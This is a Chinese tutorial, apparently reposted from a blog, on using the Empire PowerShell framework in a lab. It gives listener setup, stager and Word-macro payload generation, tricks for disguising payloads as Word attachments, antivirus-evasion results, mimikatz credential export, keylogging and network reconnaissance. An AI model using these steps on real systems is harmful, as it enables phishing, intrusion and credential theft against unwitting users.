PowerShell渗透--Empire

0x00 简介
Empire是一款针对Windows平台的,使用PowerShell脚本做为攻击载荷的渗透攻击框架代码具备从stager生成,提权到渗透维持的一系列功能,无需powershell.exe就可使用powershell的代理功能还能够快速在后期部署漏洞利用模块,内置模块有键盘记录,Mimikatz,绕过UAC,内网扫描等,能够躲避网络检测和大部分安全防御工具,相似于Meterpreter,是一个基于PowerShell的远控木马( www.powershellempire.com)
 
0x02 安装
 
0x03 使用
help 查看帮助
  1. 设置监听
    1. listeners #进入监听线程界面
    2. uselistener #设置监听模式
    3. info #查看具体参数设置
    4. set #设置相应参数
    5. execute #开始监听
uselistener 用来设置监听模式
uselistener <tab> <tab> 查看可使用的监听模式
uselistener http 采用http监听模式,输入info 查看具体参数设置
Required 为 true 的参数都是须要设置的
set Name Micr067 #设置任务名称
set Host 192.168.190.133 # 设置主机IP(Empire 所在服务器的地址)
execute # 执行
参数设置好后,能够在执行以前使用info 检查参数配置是否正确
# 须要注意的是Empire不一样于metasploit,Empire命令是区分大小写的
输入back能够返回上一层,也就是listeners 界面,
list 列出当前激活的 listener
 
  1. 生成木马
    1. usestager #设置模块
 
使用 usestager 命令设置生成木马的模块
usestager <tab> <tab> 查看全部可以使用的木马生成模块
其中 multi 为通用mok,osx 为 Mac操做系统的模块,windows 就是windows的模块。
(1) dll 模块
usestager windows/dll # 选择dll模块
info 查看一下须要设置的参数信息
这里咱们须要设置一下listener,而后 execute 执行,木马生成目录 /tmp/launcher.dll
(2) launcher
若是只须要简单的powershell 代码,在设置完相应的参数后,可直接在监听器中输入命令 launcher <language> <Listener Name> 生成base64编码的代码,
输入back 返回到 Listener 界面,输入 launcher powershell Micr067 来生成一个payload
而后将生成的payload 在目标机器上执行,便可得到 session
能够看到Empire 已经上线了一个名为 GL8DBS32 的主机,
输入 agents 能够查看已经得到的session,这里的agents 至关于 msf 中的 sessions -l
此时的代理名GL8DBS32 是随机生成的,为了方便记忆,咱们能够经过rename对其重命名
rename <Old Name> <New Name>
rename GL8DBS32 PC2
(3) launcher_vbs
usestager windows/launcher_vbs # 设置launcher_vbs木马
set Listener micr067
execute
当在目标机器上执行vbs木马,便可得到session,
固然也能够在配置好参数后返回 listener 经过 launcher powershell micr067 生成base 64代码运行
(4) launcher_bat
usestager windows/launcher_bat
set Listener micr067
execute
在目标主机上运行生成的launcher.bat,成功得到一个新的session
为了增长迷惑性,能够将bat文件插入一个office文件(word/excel)中,依次选择插入---对象---选择“由文件建立”---经过浏览“选定bat文件”---勾选“显示为图标”---“更改图标”从而得到更好的迷惑性,
将图标更改成word图标,更改文件显示名,能够得到更好的迷惑性,此处没word图标就凑活着用吧!
额,要是改成word图标简直完美。
当目标机器用户点击了word中的附件,便可触发运行bat,kali成功又得到一个新session
(5)Macro 木马
usestager windows/macro
set Listener micr067
execute
 
将生成的宏文件添加到office文件中,打开word文档,点击“试图”,选择“宏”,“宏名”随便起,宏位置选择当前office文件,单击“建立”会弹出VB编辑界面。
将原来的代码删除,将macro宏文件代码复制粘贴到其中,另存为“word 97-2003文档”
 
word 97-2003文档
将修改好的word发送到目标机器,当用户点击触发便可运行宏病毒,当用户点击启用宏内容时,
服务端将接收到session
因为在物理机上安装有杀毒软件,在物理机上打开word,服务端成功得到session,短期内杀软未报毒,
当用户点击了“启用内容”按钮,下次打开word会自动运行宏病毒,再也不弹出提示。
杀软反应仍是很迟钝的,慢了7,8分钟,应该是本地病毒库没有匹配到特征在云端分析的
将样本上传virustotal进行分析,57家只有一家可以准确识别该宏病毒,
除了白利用,这种效果仍是很理想的。
另外一款威胁分析平台检测文件为安全。
 
 
  1. 链接主机
    1. agents #列出当前已链接的主机
    2. interact #链接主机
    3. remove stale #删除失效主机
    4. help agentcmds #查看经常使用命令
    5. 使用CMD命令时,要使用”shell+命令”
 
使用agents 列出当前已经链接的主机,Username带(*)说明是已经提权成功的主机。
interact <主机名> # 使用 interact 链接主机,主机名能够用tab补全
 
使用 help agentcmds 查看经常使用命令
尝试一下Empire内置的 mimikatz 模块,输入 mimikatz 命令,使用mimikatz 须要管理员权限,因为物理主机装了杀软,提权会被杀软拦截,这里使用的是payload域内的一台 win7 靶机。
creds 命令能够自动过滤、整理出获取到的用户密码。
当内网抓取到的密码比较多,比较乱的时候,能够经过 命令对 hash/plaintext 进行排列、增长、删除、导出等操做,
将 凭证 导出 ,输入 creds export /root/pc2.csv
pc2.csv.csv
在实际渗透中,总会出现部分主机会话丢失或者失效的状况,
使用 list stale 命令 列出已经丢失的反弹主机,而后输入remove stale 命令删除已经失效的主机
其余命令:
Bypass UAC 提权、SC 截图、Download 下载文件 、Upload 上传文件。。。
 
  1. 信息收集
    1. search module #搜索须要使用的模块
    2. usemodule powershell/collection+Tab #查看完整列表
    3. 经常使用模块
      1. usemodule powershell/collection/screenshotàexecute #截屏
      2. usemodule powershell/collection/keyloggeràexecute #键盘记录
      3. usemodule powershell/collection/clipboard_monitor #剪贴板记录
      4. usemodule powershell/situational_awareness/network/powerview/share_finder #列出域内全部共享
      5. usemodule powershell/situational_awareness/host/winenum #查看本级机用户,域组成员系统基本信息等
 
usemodule <tab> <tab> # 查看全部模块
usemodule powershell/collection/ <tab> <tab> # 查看collection模块具体功能
屏幕截图
usemodule powershell/collection/keylogger
截屏结果保存在目录 Empire/downloads/主机名/screenshot
 
键盘记录
usemodule powershell/collection/keylogger
set Agent PC2
execute
键盘记录结果保存在目录 Empire/downloads/主机名/agents.log
列出域内全部共享
powershell/situational_awareness/network/powerview/share_finder
 
查看本机用户,域组成员系统基本信息
usemodule powershell/situational_awareness/host/winenum
 
列举系统中全部有用信息,报告各类日志、RDP登陆信息等
usemodule powershell/situational_awareness/host/computerdetails*
 
ARP扫描
usemodule powershell/situational_awareness/network/arpscan
set Agent PC2
set range 192.168.190.1-192.168.190.254
execute
 
dns信息获取
usemodule powershell/situational_awareness/network/reverse_dns
 
显示当前内网dns服务器地址
usemodule powershell/situational_awareness/host/dnsserver
 
查找域管登陆服务器IP
usemodule powershell/situational_awareness/network/powerview/user_hunter
相关文章
相关标签/搜索